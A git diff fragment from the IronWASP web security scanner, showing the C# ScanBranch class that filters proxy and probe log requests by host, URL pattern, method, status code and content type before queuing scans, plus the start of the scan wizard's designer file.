S.InjectCookie(); - } - } - - if (ScanHeaders) - { - if (HeaderWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Headers.GetNames()) - { - if (HeaderWhiteList.Contains(Name)) S.InjectHeaders(Name); - } - } - else if (HeaderBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Headers.GetNames()) - { - if (!HeaderBlackList.Contains(Name)) S.InjectHeaders(Name); - } - } - else - { - S.InjectHeaders(); - } - } - - if (ScanUrl) - { - if (S.OriginalRequest.Query.Count == 0 && S.OriginalRequest.File.Length == 0) - S.InjectUrl(); - } - - return S; - } - - static Scanner AddActivePlugins(Scanner Scan) - { - foreach (string Name in ActivePlugins) - { - Scan.AddCheck(Name); - } - return Scan; - } - - static Scanner SetSessionPlugin(Scanner Scan) - { - if (SessionPlugin.Length > 0) - { - Scan.SessionHandler = IronWASP.SessionPlugin.Get(SessionPlugin); - } - else - { - Scan.SessionHandler = new SessionPlugin(); - } - return Scan; - } - - - internal static bool CanScan(DataGridViewRow Row, string Source) - { - if (Row.Cells[Source + "LogGridColumnForHostName"].Value == null) return false; - if (Row.Cells[Source + "LogGridColumnForURL"].Value == null) return false; - if (Row.Cells[Source + "LogGridColumnForSSL"].Value == null) return false; - if (Row.Cells[Source + "LogGridColumnForMethod"].Value == null) return false; - - if (!Row.Cells[Source + "LogGridColumnForHostName"].Value.ToString().Equals(HostName, StringComparison.OrdinalIgnoreCase)) return false; - if (UrlPattern.EndsWith("*")) - { - string Url = UrlPattern.TrimEnd(new char[] { '*' }); - if (!Row.Cells[Source + "LogGridColumnForURL"].Value.ToString().StartsWith(Url, StringComparison.OrdinalIgnoreCase)) return false; - } - else - { - if (!Row.Cells[Source + "LogGridColumnForURL"].Value.ToString().Equals(UrlPattern, StringComparison.OrdinalIgnoreCase)) return false; - } - if (!HTTPS) - { - if ((bool)Row.Cells[Source + "LogGridColumnForSSL"].Value) return false; - } - if (!HTTP) - { - if (!(bool)Row.Cells[Source + "LogGridColumnForSSL"].Value) return false; - } - switch (Row.Cells[Source + "LogGridColumnForMethod"].Value.ToString()) - { - case "POST": - if (!SelectPOST) return false; - break; - case "GET": - if (!SelectGET) return false; - break; - default: - if (!SelectOtherMethods) return false; - break; - } - - if (SelectCheckFileExtensions) - { - string FileExtension = ""; - if (Row.Cells[Source + "LogGridColumnForFile"].Value != null) FileExtension = Row.Cells[Source + "LogGridColumnForFile"].Value.ToString(); - if (SelectCheckFileExtensions && FileExtension.Length > 0) - { - if (SelectCheckFileExtensionsPlus && SelectFileExtensions.Count > 0) - { - bool Match = false; - foreach (string File in SelectFileExtensions) - { - if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) - { - Match = true; - break; - } - } - if (!Match) - { - return false; - } - } - if (SelectCheckFileExtensionsMinus && DontSelectFileExtensions.Count > 0) - { - foreach (string File in DontSelectFileExtensions) - { - if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) - { - return false; - } - } - } - } - } - - //Response based checks start. Return true if any values are null as the response field would be empty by the request would be valid - if (Row.Cells[Source + "LogGridColumnForCode"].Value == null) return true; - - int Code = (int)Row.Cells[Source + "LogGridColumnForCode"].Value; - switch (Code) - { - case 200: - if (!Select200) return false; - break; - case 301: - case 302: - if (!Select301_2) return false; - break; - case 304: - if (!Select304) return false; - break; - case 403: - if (!Select403) return false; - break; - case 500: - if (!Select500) return false; - break; - default: - if (Code > 199 && Code < 300) - { - if (!Select2xx) return false; - } - else if (Code > 299 && Code < 400) - { - if (!Select3xx) return false; - } - else if (Code > 399 && Code < 500) - { - if (!Select500) return false; - } - else if (Code > 499 && Code < 600) - { - if (!Select5xx) return false; - } - break; - } - - if (Row.Cells[Source + "LogGridColumnForMIME"].Value == null) return true; - - string ContentType = Row.Cells[Source + "LogGridColumnForMIME"].Value.ToString(); - if (ContentType != null) - { - if (ContentType.ToLower().Contains("html")) - { - if (!SelectHTML) return false; - } - else if (ContentType.ToLower().Contains("css")) - { - if (!SelectCSS) return false; - } - else if (ContentType.ToLower().Contains("javascript")) - { - if (!SelectJS) return false; - } - else if (ContentType.ToLower().Contains("xml")) - { - if (!SelectXML) return false; - } - else if (ContentType.ToLower().Contains("json")) - { - if (!SelectJSON) return false; - } - else if (ContentType.ToLower().Contains("text")) - { - if (!SelectOtherText) return false; - } - else if (ContentType.ToLower().Contains("jpg") || ContentType.ToLower().Contains("png") || ContentType.ToLower().Contains("jpeg") || ContentType.ToLower().Contains("gif") || ContentType.ToLower().Contains("ico")) - { - if (!SelectImg) return false; - } - else - { - if (!SelectOtherBinary) return false; - } - } - return true; - } - - internal static bool CanScan(Request Req) - { - string Signature = ""; - try - { - Signature = MakeSignature(Req); - } - catch(Exception Exp) - { - IronException.Report("ScanBranch error creating signatures", Exp.Message, Exp.StackTrace); - return true;//empty signature should not be added and checked - } - if (NewRequestSignatures.Contains(Signature)) - { - return false; - } - else - { - NewRequestSignatures.Add(Signature); - if (SkipScanned) - { - if(RequestSignatures.Contains(Signature)) - { - return false; - } - } - return true; - } - } - - static string MakeSignature(Request Req) - { - StringBuilder SB = new StringBuilder(); - SB.Append(Req.FullURL.ToLower()); - SB.Append("|"); - SB.Append(Req.BodyString); - return Tools.MD5(SB.ToString()); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class ScanBranch + { + internal static List ProxyLogIDs = new List(); + internal static List ProbeLogIDs = new List(); + internal static Thread ScanThread; + + internal static string HostName = ""; + internal static string UrlPattern = ""; + internal static bool HTTP = false; + internal static bool HTTPS = false; + + internal static bool ScanUrl = true; + internal static bool ScanQuery = true; + internal static bool ScanBody = true; + internal static bool ScanCookie = true; + internal static bool ScanHeaders = true; + + internal static string SessionPlugin = ""; + internal static string LoginRecording = ""; + internal static List FormatPlugins = new List(); + + internal static List ActivePlugins = new List(); + + internal static bool SelectGET = true; + internal static bool SelectPOST = true; + internal static bool SelectOtherMethods = true; + + internal static bool SelectHTML = true; + internal static bool SelectJS = true; + internal static bool SelectCSS = true; + internal static bool SelectXML = true; + internal static bool SelectJSON = true; + internal static bool SelectOtherText = true; + internal static bool SelectImg = true; + internal static bool SelectOtherBinary = true; + + internal static bool Select200 = true; + internal static bool Select2xx = true; + internal static bool Select301_2 = true; + internal static bool Select3xx = true; + internal static bool Select304 = true; + internal static bool Select403 = true; + internal static bool Select4xx = true; + internal static bool Select500 = true; + internal static bool Select5xx = true; + + internal static bool SelectCheckFileExtensions = false; + internal static bool SelectCheckFileExtensionsPlus = false; + internal static List SelectFileExtensions = new List(); + internal static bool SelectCheckFileExtensionsMinus = true; + internal static List DontSelectFileExtensions = new List() { "css", "js", "jpg", "jpeg", "png", "gif", "ico", "swf", "doc", "docx", "pdf", "xls", "xlsx", "ppt", "pptx" }; + + internal static List QueryWhiteList = new List(); + internal static List QueryBlackList = new List(); + + internal static List BodyWhiteList = new List(); + internal static List BodyBlackList = new List(); + + internal static List CookieWhiteList = new List(); + internal static List CookieBlackList = new List(); + + internal static List HeaderWhiteList = new List(); + internal static List HeaderBlackList = new List(); + + internal static bool SkipScanned = false; + + internal static bool PromptUser = false; + + internal static bool PickFromProxyLog = true; + internal static bool PickFromProbeLog = false; + + static List RequestSignatures = new List(); + + static List NewRequestSignatures = new List(); + + static List ScannedRequests = new List(); + + static List UniqueQueryParameters = new List(); + static List NonUniqueQueryParameters = new List(); + static List UniqueBodyParameters = new List(); + static List NonUniqueBodyParameters = new List(); + static List UniqueUrlParameters = new List(); + + static int ScanDone = 0; + //static int TotalScans = 0; + + internal static void Start() + { + ScanThread = new Thread(StartBranchScan); + ScanThread.Start(); + } + + internal static void Abort() + { + try + { + ScanThread.Abort(); + } + catch { } + } + + internal static void StartBranchScan() + { + try + { + ScanDone = 0; + //TotalScans = ProxyLogIDs.Count; + NewRequestSignatures.Clear(); + ScanItemUniquenessChecker UniqueChecker = new ScanItemUniquenessChecker(PromptUser); + + if (PickFromProxyLog) + { + IronUI.UpdateScanBranchStats(ScanDone, false, "Searching Proxy Logs for Requests to scan", true, false); + foreach (LogRow Row in IronDB.GetRecordsFromProxyLogMatchingFilters(new List() { HostName }, new List() { }, "")) + { + if (CanScan(Row, "Proxy")) ScanItem(UniqueChecker, "Proxy", Row.ID); + } + } + if (PickFromProbeLog) + { + IronUI.UpdateScanBranchStats(ScanDone, false, "Searching Probe Logs for Requests to scan", true, false); + foreach (LogRow Row in IronDB.GetRecordsFromProbeLogMatchingFilters(new List() { HostName }, new List() { }, "")) + { + if (CanScan(Row, "Probe")) ScanItem(UniqueChecker, "Probe", Row.ID); + } + } + + /* + foreach (int i in ScanBranch.ProxyLogIDs) + { + ScanItem(UniqueChecker, "Proxy", i); + } + foreach (int i in ScanBranch.ProbeLogIDs) + { + ScanItem(UniqueChecker, "Probe", i); + } + */ + foreach (string Signature in NewRequestSignatures) + { + if (!RequestSignatures.Contains(Signature)) RequestSignatures.Add(Signature); + } + NewRequestSignatures.Clear(); + IronUI.UpdateScanBranchStats(0, true, "All Scan Jobs Created && Queued. Close this Window.", false, true); + } + catch (ThreadAbortException) + { + // + } + catch(Exception Exp) + { + IronException.Report("Scan Branch Exception", Exp.Message, Exp.StackTrace); + } + } + + static void ScanItem(ScanItemUniquenessChecker UniqueChecker, string LogSource, int LogID) + { + try + { + Request Req; + if(LogSource.Equals("Proxy")) + Req = Request.FromProxyLog(LogID); + else + Req = Request.FromProbeLog(LogID); + if (!CanScan(Req)) + { + //TotalScans--; + IronUI.UpdateScanBranchStats(ScanDone, false, "Skipping previously scanned Request...." + ScanDone.ToString() + " Scan Jobs created", true, false); + return; + } + if (!UniqueChecker.IsUniqueToScan(Req, ScannedRequests, !ScanUrl)) + { + //TotalScans--; + IronUI.UpdateScanBranchStats(ScanDone, false, "Skipping duplicate Request...." + ScanDone.ToString() + " Scan Jobs created", true, false); + return; + } + ScannedRequests.Add(Req.GetClone()); + Scanner Scan = new Scanner(Req); + Scan = SetSessionPlugin(Scan); + Scan = SetRecording(Scan); + Scan = SetFormatPlugin(Scan); + Scan = AddActivePlugins(Scan); + Scan = SetInjectionPoints(Scan); + if (Scan.InjectionPointsCount == 0) + { + //TotalScans--; + IronUI.UpdateScanBranchStats(ScanDone, false, "Skipping Request as no Injection Points were Identified...." + ScanDone.ToString() + " Scan Jobs created", true, false); + return; + } + Scan.LaunchScan(); + ScanDone++; + IronUI.UpdateScanBranchStats(ScanDone, false, "Creating and Queueing Scans...." + ScanDone.ToString() + " Scan Jobs created", true, false); + } + catch (Exception Exp) + { + IronException.Report("ScanBranch Error Creating Scan Job with " + LogSource + " Log ID - " + LogID.ToString(), Exp.Message, Exp.StackTrace); + } + } + + static Scanner SetFormatPlugin(Scanner S) + { + Request RequestToScan = S.OriginalRequest; + + if (!FormatPlugin.IsNormal(RequestToScan)) + { + string FPName = FormatPlugin.Get(RequestToScan, FormatPlugins); + if (FPName.Length > 0 && FPName != "Normal") + { + S.BodyFormat = FormatPlugin.Get(FPName); + } + } + return S; + } + + static Scanner SetInjectionPoints(Scanner S) + { + if (ScanQuery) + { + if (QueryWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Query.GetNames()) + { + if (QueryWhiteList.Contains(Name)) S.InjectQuery(Name); + } + } + else if (QueryBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Query.GetNames()) + { + if (!QueryBlackList.Contains(Name)) S.InjectQuery(Name); + } + } + else + { + S.InjectQuery(); + } + } + + if (ScanBody) + { + if (BodyWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Body.GetNames()) + { + if (BodyWhiteList.Contains(Name)) S.InjectBody(Name); + } + } + else if (BodyBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Body.GetNames()) + { + if (!BodyBlackList.Contains(Name)) S.InjectBody(Name); + } + } + else + { + S.InjectBody(); + } + } + + if (ScanCookie) + { + if (CookieWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Cookie.GetNames()) + { + if (CookieWhiteList.Contains(Name)) S.InjectCookie(Name); + } + } + else if (CookieBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Cookie.GetNames()) + { + if (!CookieBlackList.Contains(Name)) S.InjectCookie(Name); + } + } + else + { + S.InjectCookie(); + } + } + + if (ScanHeaders) + { + if (HeaderWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Headers.GetNames()) + { + if (HeaderWhiteList.Contains(Name)) S.InjectHeaders(Name); + } + } + else if (HeaderBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Headers.GetNames()) + { + if (!HeaderBlackList.Contains(Name)) S.InjectHeaders(Name); + } + } + else + { + S.InjectHeaders(); + } + } + + if (ScanUrl) + { + if (S.OriginalRequest.Query.Count == 0 && S.OriginalRequest.File.Length == 0) + S.InjectUrl(); + } + + return S; + } + + static Scanner AddActivePlugins(Scanner Scan) + { + foreach (string Name in ActivePlugins) + { + Scan.AddCheck(Name); + } + return Scan; + } + + static Scanner SetSessionPlugin(Scanner Scan) + { + if (SessionPlugin.Length > 0) + { + Scan.SessionHandler = IronWASP.SessionPlugin.Get(SessionPlugin); + } + else + { + Scan.SessionHandler = new SessionPlugin(); + } + return Scan; + } + + static Scanner SetRecording(Scanner Scan) + { + if (LoginRecording.Length > 0) + { + Scan.LoginAndCsrfRecording = Recording.Recording.Get(LoginRecording); + } + else + { + Scan.LoginAndCsrfRecording = null; + } + return Scan; + } + + internal static bool CanScan(LogRow Row, string Source) + { + if (!Row.Host.Equals(HostName, StringComparison.OrdinalIgnoreCase)) return false; + if (UrlPattern.EndsWith("*")) + { + string Url = UrlPattern.TrimEnd(new char[] { '*' }); + if (!Row.Url.StartsWith(Url, StringComparison.OrdinalIgnoreCase)) return false; + } + else + { + if (!Row.Url.Equals(UrlPattern, StringComparison.OrdinalIgnoreCase)) return false; + } + if (!HTTPS) + { + if ((bool)Row.SSL) return false; + } + if (!HTTP) + { + if (!(bool)Row.SSL) return false; + } + switch (Row.Method) + { + case "POST": + if (!SelectPOST) return false; + break; + case "GET": + if (!SelectGET) return false; + break; + default: + if (!SelectOtherMethods) return false; + break; + } + + if (SelectCheckFileExtensions) + { + string FileExtension = Row.File; + + if (SelectCheckFileExtensions && FileExtension.Length > 0) + { + if (SelectCheckFileExtensionsPlus && SelectFileExtensions.Count > 0) + { + bool Match = false; + foreach (string File in SelectFileExtensions) + { + if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (SelectCheckFileExtensionsMinus && DontSelectFileExtensions.Count > 0) + { + foreach (string File in DontSelectFileExtensions) + { + if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + } + + //Response based checks start. Return true if any values are null as the response field would be empty by the request would be valid + if (Row.Code == 0) return true; + + int Code = Row.Code; + switch (Code) + { + case 200: + if (!Select200) return false; + break; + case 301: + case 302: + if (!Select301_2) return false; + break; + case 304: + if (!Select304) return false; + break; + case 403: + if (!Select403) return false; + break; + case 500: + if (!Select500) return false; + break; + default: + if (Code > 199 && Code < 300) + { + if (!Select2xx) return false; + } + else if (Code > 299 && Code < 400) + { + if (!Select3xx) return false; + } + else if (Code > 399 && Code < 500) + { + if (!Select500) return false; + } + else if (Code > 499 && Code < 600) + { + if (!Select5xx) return false; + } + break; + } + + + string ContentType = Row.Mime; + if (ContentType != null) + { + if (ContentType.ToLower().Contains("html")) + { + if (!SelectHTML) return false; + } + else if (ContentType.ToLower().Contains("css")) + { + if (!SelectCSS) return false; + } + else if (ContentType.ToLower().Contains("javascript")) + { + if (!SelectJS) return false; + } + else if (ContentType.ToLower().Contains("xml")) + { + if (!SelectXML) return false; + } + else if (ContentType.ToLower().Contains("json")) + { + if (!SelectJSON) return false; + } + else if (ContentType.ToLower().Contains("text")) + { + if (!SelectOtherText) return false; + } + else if (ContentType.ToLower().Contains("jpg") || ContentType.ToLower().Contains("png") || ContentType.ToLower().Contains("jpeg") || ContentType.ToLower().Contains("gif") || ContentType.ToLower().Contains("ico")) + { + if (!SelectImg) return false; + } + else + { + if (!SelectOtherBinary) return false; + } + } + return true; + } + + internal static bool CanScan(DataGridViewRow Row, string Source) + { + if (Row.Cells[Source + "LogGridColumnForHostName"].Value == null) return false; + if (Row.Cells[Source + "LogGridColumnForURL"].Value == null) return false; + if (Row.Cells[Source + "LogGridColumnForSSL"].Value == null) return false; + if (Row.Cells[Source + "LogGridColumnForMethod"].Value == null) return false; + + if (!Row.Cells[Source + "LogGridColumnForHostName"].Value.ToString().Equals(HostName, StringComparison.OrdinalIgnoreCase)) return false; + if (UrlPattern.EndsWith("*")) + { + string Url = UrlPattern.TrimEnd(new char[] { '*' }); + if (!Row.Cells[Source + "LogGridColumnForURL"].Value.ToString().StartsWith(Url, StringComparison.OrdinalIgnoreCase)) return false; + } + else + { + if (!Row.Cells[Source + "LogGridColumnForURL"].Value.ToString().Equals(UrlPattern, StringComparison.OrdinalIgnoreCase)) return false; + } + if (!HTTPS) + { + if ((bool)Row.Cells[Source + "LogGridColumnForSSL"].Value) return false; + } + if (!HTTP) + { + if (!(bool)Row.Cells[Source + "LogGridColumnForSSL"].Value) return false; + } + switch (Row.Cells[Source + "LogGridColumnForMethod"].Value.ToString()) + { + case "POST": + if (!SelectPOST) return false; + break; + case "GET": + if (!SelectGET) return false; + break; + default: + if (!SelectOtherMethods) return false; + break; + } + + if (SelectCheckFileExtensions) + { + string FileExtension = ""; + if (Row.Cells[Source + "LogGridColumnForFile"].Value != null) FileExtension = Row.Cells[Source + "LogGridColumnForFile"].Value.ToString(); + if (SelectCheckFileExtensions && FileExtension.Length > 0) + { + if (SelectCheckFileExtensionsPlus && SelectFileExtensions.Count > 0) + { + bool Match = false; + foreach (string File in SelectFileExtensions) + { + if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (SelectCheckFileExtensionsMinus && DontSelectFileExtensions.Count > 0) + { + foreach (string File in DontSelectFileExtensions) + { + if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + } + + //Response based checks start. Return true if any values are null as the response field would be empty by the request would be valid + if (Row.Cells[Source + "LogGridColumnForCode"].Value == null) return true; + + int Code = (int)Row.Cells[Source + "LogGridColumnForCode"].Value; + switch (Code) + { + case 200: + if (!Select200) return false; + break; + case 301: + case 302: + if (!Select301_2) return false; + break; + case 304: + if (!Select304) return false; + break; + case 403: + if (!Select403) return false; + break; + case 500: + if (!Select500) return false; + break; + default: + if (Code > 199 && Code < 300) + { + if (!Select2xx) return false; + } + else if (Code > 299 && Code < 400) + { + if (!Select3xx) return false; + } + else if (Code > 399 && Code < 500) + { + if (!Select500) return false; + } + else if (Code > 499 && Code < 600) + { + if (!Select5xx) return false; + } + break; + } + + if (Row.Cells[Source + "LogGridColumnForMIME"].Value == null) return true; + + string ContentType = Row.Cells[Source + "LogGridColumnForMIME"].Value.ToString(); + if (ContentType != null) + { + if (ContentType.ToLower().Contains("html")) + { + if (!SelectHTML) return false; + } + else if (ContentType.ToLower().Contains("css")) + { + if (!SelectCSS) return false; + } + else if (ContentType.ToLower().Contains("javascript")) + { + if (!SelectJS) return false; + } + else if (ContentType.ToLower().Contains("xml")) + { + if (!SelectXML) return false; + } + else if (ContentType.ToLower().Contains("json")) + { + if (!SelectJSON) return false; + } + else if (ContentType.ToLower().Contains("text")) + { + if (!SelectOtherText) return false; + } + else if (ContentType.ToLower().Contains("jpg") || ContentType.ToLower().Contains("png") || ContentType.ToLower().Contains("jpeg") || ContentType.ToLower().Contains("gif") || ContentType.ToLower().Contains("ico")) + { + if (!SelectImg) return false; + } + else + { + if (!SelectOtherBinary) return false; + } + } + return true; + } + + internal static bool CanScan(Request Req) + { + string Signature = ""; + try + { + Signature = MakeSignature(Req); + } + catch(Exception Exp) + { + IronException.Report("ScanBranch error creating signatures", Exp.Message, Exp.StackTrace); + return true;//empty signature should not be added and checked + } + if (NewRequestSignatures.Contains(Signature)) + { + return false; + } + else + { + NewRequestSignatures.Add(Signature); + if (SkipScanned) + { + if(RequestSignatures.Contains(Signature)) + { + return false; + } + } + return true; + } + } + + static string MakeSignature(Request Req) + { + StringBuilder SB = new StringBuilder(); + SB.Append(Req.FullURL.ToLower()); + SB.Append("|"); + SB.Append(Req.BodyString); + return Tools.MD5(SB.ToString()); + } + } +} diff --git a/IronWASP/ScanBranchWizard.Designer.cs b/Iron/ScanBranchWizard.Designer.cs similarity index 96% rename from IronWASP/ScanBranchWizard.Designer.cs rename to Iron/ScanBranchWizard.Designer.cs index 595216d..f3effa7 100644 --- a/IronWASP/ScanBranchWizard.Designer.cs +++ b/Iron/ScanBranchWizard.Designer.cs @@ -1,1396 +1,1439 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ScanBranchWizard - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScanBranchWizard)); - this.ScanBranchHostNameTB = new System.Windows.Forms.TextBox(); - this.ScanBranchUrlPatternTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.ScanBranchStatsPanel = new System.Windows.Forms.Panel(); - this.ScanBranchProgressLbl = new System.Windows.Forms.Label(); - this.ScanBranchProgressBar = new System.Windows.Forms.ProgressBar(); - this.ScanBranchErrorTB = new System.Windows.Forms.TextBox(); - this.ScanBranchPickProxyLogCB = new System.Windows.Forms.CheckBox(); - this.label8 = new System.Windows.Forms.Label(); - this.ScanBranchPickProbeLogCB = new System.Windows.Forms.CheckBox(); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.Zero = new System.Windows.Forms.TabPage(); - this.ScanTemplateNameLbl = new System.Windows.Forms.Label(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.label10 = new System.Windows.Forms.Label(); - this.LoadTemplateLL = new System.Windows.Forms.LinkLabel(); - this.label11 = new System.Windows.Forms.Label(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.StepZeroNextBtn = new System.Windows.Forms.Button(); - this.One = new System.Windows.Forms.TabPage(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); - this.StepOnePreviousBtn = new System.Windows.Forms.Button(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.label23 = new System.Windows.Forms.Label(); - this.InjectNamesCB = new System.Windows.Forms.CheckBox(); - this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.label24 = new System.Windows.Forms.Label(); - this.InjectHeadersCB = new System.Windows.Forms.CheckBox(); - this.InjectCookieCB = new System.Windows.Forms.CheckBox(); - this.InjectBodyCB = new System.Windows.Forms.CheckBox(); - this.InjectQueryCB = new System.Windows.Forms.CheckBox(); - this.InjectUrlPathPartsCB = new System.Windows.Forms.CheckBox(); - this.Two = new System.Windows.Forms.TabPage(); - this.Step2StatusTB = new System.Windows.Forms.TextBox(); - this.label25 = new System.Windows.Forms.Label(); - this.label26 = new System.Windows.Forms.Label(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StepTwoNextBtn = new System.Windows.Forms.Button(); - this.groupBox6 = new System.Windows.Forms.GroupBox(); - this.HeadersParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.HeadersParametersPlusTB = new System.Windows.Forms.TextBox(); - this.HeadersParametersMinusTB = new System.Windows.Forms.TextBox(); - this.HeadersParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.HeadersParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox7 = new System.Windows.Forms.GroupBox(); - this.QueryParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.QueryParametersPlusTB = new System.Windows.Forms.TextBox(); - this.QueryParametersMinusTB = new System.Windows.Forms.TextBox(); - this.QueryParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.QueryParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox8 = new System.Windows.Forms.GroupBox(); - this.BodyParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.BodyParametersPlusTB = new System.Windows.Forms.TextBox(); - this.BodyParametersMinusTB = new System.Windows.Forms.TextBox(); - this.BodyParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.BodyParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox9 = new System.Windows.Forms.GroupBox(); - this.CookieParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.CookieParametersPlusTB = new System.Windows.Forms.TextBox(); - this.CookieParametersMinusTB = new System.Windows.Forms.TextBox(); - this.CookieParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.CookieParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.Three = new System.Windows.Forms.TabPage(); - this.ScanBranchSessionPluginsCombo = new System.Windows.Forms.ComboBox(); - this.ScanThreadLimitCB = new System.Windows.Forms.CheckBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.FormatGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); - this.Step3StatusTB = new System.Windows.Forms.TextBox(); - this.StepThreePreviousBtn = new System.Windows.Forms.Button(); - this.StepThreeNextBtn = new System.Windows.Forms.Button(); - this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.Four = new System.Windows.Forms.TabPage(); - this.PromptUserCB = new System.Windows.Forms.CheckBox(); - this.label27 = new System.Windows.Forms.Label(); - this.label28 = new System.Windows.Forms.Label(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.SaveTemplateLL = new System.Windows.Forms.LinkLabel(); - this.label29 = new System.Windows.Forms.Label(); - this.StepFourPreviousBtn = new System.Windows.Forms.Button(); - this.FinalBtn = new System.Windows.Forms.Button(); - this.OpenTemplateDialog = new System.Windows.Forms.OpenFileDialog(); - this.SaveTemplateDialog = new System.Windows.Forms.SaveFileDialog(); - this.ScanBranchStatsPanel.SuspendLayout(); - this.BaseTabs.SuspendLayout(); - this.Zero.SuspendLayout(); - this.One.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); - this.Two.SuspendLayout(); - this.groupBox6.SuspendLayout(); - this.groupBox7.SuspendLayout(); - this.groupBox8.SuspendLayout(); - this.groupBox9.SuspendLayout(); - this.Three.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).BeginInit(); - this.Four.SuspendLayout(); - this.SuspendLayout(); - // - // ScanBranchHostNameTB - // - this.ScanBranchHostNameTB.Location = new System.Drawing.Point(185, 48); - this.ScanBranchHostNameTB.Name = "ScanBranchHostNameTB"; - this.ScanBranchHostNameTB.ReadOnly = true; - this.ScanBranchHostNameTB.Size = new System.Drawing.Size(473, 20); - this.ScanBranchHostNameTB.TabIndex = 0; - // - // ScanBranchUrlPatternTB - // - this.ScanBranchUrlPatternTB.Location = new System.Drawing.Point(263, 74); - this.ScanBranchUrlPatternTB.Name = "ScanBranchUrlPatternTB"; - this.ScanBranchUrlPatternTB.ReadOnly = true; - this.ScanBranchUrlPatternTB.Size = new System.Drawing.Size(395, 20); - this.ScanBranchUrlPatternTB.TabIndex = 2; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(16, 50); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(162, 13); - this.label1.TabIndex = 3; - this.label1.Text = "Only pick Requests from the site:"; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(16, 77); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(241, 13); - this.label2.TabIndex = 4; - this.label2.Text = "Only pick Requests with Url matching this pattern:"; - 